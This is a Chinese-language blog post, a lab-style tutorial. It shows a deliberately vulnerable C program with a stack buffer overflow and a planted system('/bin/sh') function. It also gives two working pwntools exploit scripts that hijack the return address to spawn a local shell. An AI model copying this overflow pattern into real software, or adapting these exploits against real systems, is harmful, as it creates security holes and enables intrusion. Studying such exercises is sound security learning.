NEKO

Linux-Exploit之绕过ASLR - 第一部分

2018/05/24

大佬说这个简单,就先做这个了(:з」∠)

其实就只是简单的栈溢出,由于源码中有system(“/bin/sh”),所以直接可以拿来用,就不用管ASLR和NX了.

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>

void sys(){
system("/bin/sh");
}

void vulnerable(){
char buf[256];
puts("input:/n");
read(0,&buf,512);
}

int main(){
vulnerable();
return 0;
}

开启aslr:

1
neko@ubuntu:~/neko/6$ sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space"

编译:

1
neko@ubuntu:~/neko/6$ gcc -m32 -fno-stack-protector -o crackme6.out crackme6.c

-m32:生成32位ELF可执行文件
-fno-stack-protector:关闭栈保护

单从覆盖vulnerable()的返回地址来讲有两种方法,一是自己构造system(“/bin/sh”),二是直接用函数sys()的地址

方案1-exp:

1
2
3
4
5
6
7
8
9
from pwn import *
p=process('./crackme6.out')
elf=ELF('./crackme6.out')
system_plt=elf.symbols['system']
sh_addr=elf.search('/bin/sh').next()
payload='a'*0x108+'a'*4+p32(system_plt)+'a'*4+p32(sh_addr)
p.recvline()
p.send(payload)
p.interactive()

方案2-exp:

1
2
3
4
5
6
7
8
from pwn import *
p=process('./crackme6.out')
elf=ELF('./crackme6.out')
sys_plt=elf.symbols['sys']
payload='a'*0x108+'a'*4+p32(sys_plt)
p.recvline()
p.send(payload)
p.interactive()

实验结果:

1
2
3
4
5
6
7
8
9
10
11
neko@ubuntu:~/neko/6$ python exp6.py 
[+] Starting local process './crackme6.out': pid 123537
[*] '/home/neko/neko/6/crackme6.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
$ id
uid=1000(neko) gid=1000(neko) groups=1000(neko),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

原文作者: n3k0

发表日期: May 24th 2018, 8:41:15

发出嘶吼: 没有魔夜2玩我要死了

CATALOG